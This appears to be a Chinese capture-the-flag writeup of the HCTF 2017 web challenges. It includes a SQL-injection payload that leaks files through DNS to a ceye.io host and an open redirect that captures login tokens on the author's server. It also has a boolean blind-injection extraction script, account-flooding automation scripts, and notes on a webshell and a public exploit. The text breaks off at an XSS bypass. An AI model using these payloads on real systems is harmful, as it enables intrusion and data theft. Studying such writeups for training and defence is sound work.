HCTF 2017 writeup(web)

第一次AK web,大佬们很厉害。。

easy_sign_in

直接看证书,看到一个flag in,后面有一个ip,http://123.206.81.217/,访问得到flag

babycrack

网页里面有个=_=.js,先格式化js,梳理之后逻辑大概是这样的:

  1. _0x180a存储了一些包括各种函数名的字符串(经过一次移位)
  2. _0xa180以函数的形式取_0x180a的内容
  3. _0x2e2f8d同样存储了一些字符串
  4. check函数,通过表示flag正确

其中check函数分为几步(设s为输出串):
1)取s的前四位,已经给出为hctf,并对_0x2e2f8d做移位操作

var _0x50559f = _0x5b7c0c[_0x2e2f8d[0x5]](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
       ... 这里有段eval好像没用直接删了 ...
(function(_0x3291b7, _0xced890) {
      var _0xaed809 = function(_0x3aba26) {
      while (--_0x3aba26) {
           _0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());
      }
   };0xaed809(++_0xced890);
}(_0x2e2f8d, _0x5cea12 % 0x7b));

2)将s以"_"为分隔符分割,并做一系列验证(设为s[0],s[1],...)

var _0x76e1e8 = _0x5b7c0c[_0x43c8d1(0xe)]('_');

3)s[0]检查:

r _0x34f55b = (_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)]( - 0x2, 0x2)) ^ _0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][_0x43c8d1(0x8)] == 0x5;
if (!_0x34f55b) {
    return ! [];
}

4)s[2]检查:

b2c = function(_0x3f9bc5) { ... }
... 这里一段反调试的也可以删了 ...
e = _0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0]) ^ 0x53a3f32;
if (e != 0x4b7c0a73) {
     return ! [];
}

随便试了一下b2c的结果,发现s[2]得为2位才有可能通过,爆破了一下,s[2]为iz
5)s[3]检查:

f = _0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0]) ^ e;
if (f != 0x4315332) {
     return ! [];
}

和s[2]基本一样,爆破出来为s0
6)s[1]检查:

j = a_sub[0x1].split('3');
if (j[0x0].length != j[0x1].length || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613) {
            return ![];
}
k = x => x.charCodeAt() * 7;
l = h(j[0x0], k);
if (l != 0x2f9b5072) {
    return ![];
}

s[1]中间是3,共5位,爆破一下为rev3rse,所以前面大概就是hctf{xx_rev3rse_iz_s0,猜测前面xx位置大概就是js之类的了
7)s[4]检查

if (!m || _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)]( - 0x5, 0x4) || _0x76e1e8[0x4][_0x43c8d1(0xd)]( - 0x2, 0x1) - _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1) {
     return ! [];
}
... ...

同理爆破一下得到s[4]的前几位是h4rd,后面的判断比较混乱,没有唯一解,但结合题目hint,得出s[4]是h4rd23ee3333}
8)s[0]不确定,试了js不对,结合hint的sha256,爆破出来flag为

hctf{j5_rev3rse_iz_s0_h4rd23ee3333}

boring website

资料参考:https://blog.netspi.com/how-to-hack-database-links-in-sql-server/
题目环境:

  • windows
  • mysql 3306(扫描发现)
  • mssql

www.zip存在文件泄漏,index.php存在明显的注入
Hint:linked servername是mysql,理论上是从mssql连到mysql上0.0
突破思路,利用 mssql注入,调用 mysql 执行sql语句,waf过滤较严,但load_file未过滤,查询结果通过dns外带数据获取,构造payload如下:

http://106.15.53.124:38324/?id=3;SELECT * FROM OPENQUERY(mysql,'SELECT LOAD_FILE(CONCAT("\\","www3.xxxxx.ceye.io\foobar"))')

HCTF 2017 writeup(web)_第1张图片
image

HCTF 2017 writeup(web)_第2张图片
image

poker2

import requests
import time
​
S = requests.session()
​
​
def reg(string):
    url = "http://petgame.2017.hctf.io/login/register.php?bname=%s&sex=2&head=2&bc=2&username=%s&pass=%s" %(string,string,string)
    print "the reg info "+S.get(url).content
​
def get_inf(string):
    url = "http://petgame.2017.hctf.io/passport/dealPc.php"
    payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
    print "login result "+S.post(url,data=payload).content
    print "the username is " + string
    url = "http://petgame.2017.hctf.io/function/User_Mod.php"
    content = S.get(url).content
    shui_pos = content.find("水晶")
    print content[shui_pos:shui_pos+15]
    wei_pos = content.find("威望")
    print content[wei_pos:wei_pos+15]
    chong_pos = content.find("宠物")
    print content[chong_pos:chong_pos+15]
    yuan_pos = content.find("元宝")
    print content[yuan_pos:yuan_pos+15]
    ji_pos = content.find("积分")
    print content[ji_pos:ji_pos+15]
​
def get_task(string):
    url = "http://petgame.2017.hctf.io/passport/dealPc.php"
    payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
    print "login result "+S.post(url,data=payload).content
    print "the username is " + string
    url = "http://petgame.2017.hctf.io/function/taskshow.php?title_vary=3&bid=2&rd=0.38350920765076046"
    content = S.get(url).content
    print content
​
​
def main():
    for i in range(300,400):
        tmp = "louys"+str(i)
        reg(tmp)
        #get_task(tmp)
        time.sleep(2)
​
​
if __name__ == '__main__':
    main()

刷到一个40多w水晶的号,在商店购买了一波以后,发现还是要打怪。
于是写了一个attack.py来刷怪。

import requests
import re
from threading import Thread
import sys
import random
​
S = requests.session()
​
attack_url = "http://petgame.2017.hctf.io/function/FightGate.php?id=1&g=%s&checkwg=checked&rd=%s"
#gg_url = "http://petgame.2017.hctf.io/function/Fight_Mod.php?p=89&bid=2448&rd=0.4393741597904868"
gg_url = "http://petgame.2017.hctf.io/function/Fight_Mod.php?p=46090&type=1"
#gg_url="http://petgame.2017.hctf.io/function/Fight_Mod.php?pz=2&p=46090&auto=2&rd=0.22476699386060095&team_auto=1"
​
header1 = {"Referer":"http://petgame.2017.hctf.io/function/Fight_Mod.php?p=46090&type=1",
           "User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
#header1 = {"Referer":"http://petgame.2017.hctf.io/function/Fight_Mod.php?pz=2&p=46090&auto=2&rd=0.7697414015208284&team_auto=1",
 #           "User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
​
​
​
header2 = {"Referer":"http://petgame.2017.hctf.io/index.php",
           "User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
​
def log():
    url = "http://petgame.2017.hctf.io/passport/dealPc.php"
    string = "louys303"
    payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
    S.post(url,data=payload,headers=header2,timeout=2).content
​
​
def attack(g):
    target = attack_url % (g,str(random.random()))
    content = S.get(url=target,headers=header1,timeout=1).content
    print content
​
def get_gg():
    content = S.get(gg_url,headers=header2,timeout=1).content
    gg = re.findall(r"gg=\[(.*)\]",content)[0]
    gg = gg.split(",")[-1]
    return gg
​
def main():
    log()
    while True:
        try:
            gg = get_gg()
            attack(g=gg)
            attack(g=gg)
            attack(g=gg)
        except KeyboardInterrupt:
            sys.exit()
        except Exception as e:
            print e
            pass
​
if __name__ == '__main__':
    main()
    pass

在各种服务器用nohup狂开N个进程后得到flag。

A World Restored

审查流量,发现了几个不合理的地方:
1). 将敏感信息token置于get请求上;
2). 未登录访问页面时会有一个重定向,但重定向url未作验证。

HCTF 2017 writeup(web)_第3张图片
image

提交 http://messbox.2017.hctf.io/login.php?n_url=http://vpsweb
能成功在vps上拿到用户token,使用该token访问在cookie里成功获取flag
image

SQL Silencer

突破点还是注入,过滤很多,最终的突破方法是布尔注入payload如下
http://sqls.2017.hctf.io/index/index.php?id=2^1
http://sqls.2017.hctf.io/index/index.php?id=2^0
http://sqls.2017.hctf.io/index/index.php?id=2^(bool)
响应分析:
正常结果:alice、bob、cc、only 3 user
语句错误:there in no thing
触发waf:nonono
查询flag表数据容易触发语法错误,通过count(1)/count()被过滤*/得到flag表存在两行数据,但是这里的payload需要结果为一行,利用count(1)特性,使结果为一行通过where条件进行布尔构造得到所查询的数据值,详细payload过程如下

HCTF 2017 writeup(web)_第4张图片
image

exp:

purl = "http://sqls.2017.hctf.io/index/index.php?id=2^((select(count(1))from(flag)where(binary(flag)<%s))>0x00)"#./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/
rec="0x"
ans = ""
for i in range(255):
    l=0
    r=255
    while(l

这里能注入一行数据,发现是个目录,猜测另一行可能是个文件名,故继续注入下一行数据,利用count(1)配合where flag>0xXXXX结果为 0,1,2的特点注入得到令一行数据得到What_U_n33d_1s_under_m2,对于解题无用,但是得到此方法
后来发现目录下为一Typecho,利用公开exp


HCTF 2017 writeup(web)_第5张图片
image

发现在uploads目录下有一个shell 密码是c连接上后发现flag在/flag_is_here/flaghctf{WowwoW_U_F1nd_m3_e218ca012}

poker-poker

网站根目录(报错回显):
/home/website/default/
注入点:
http://petgame.2017.hctf.io/login/register.php?bname=e&sex=2&head=6&bc=2&username=time-based&pass=sqlmap
sqlmap直接跑出。

A World Restored Again

测了一遍只有用户名能插尖括号(访问登录时返回的带token那一长串url就行),但是script,on都被过滤了,另外还有CSP。
1)XSS Bypass
网上找到一个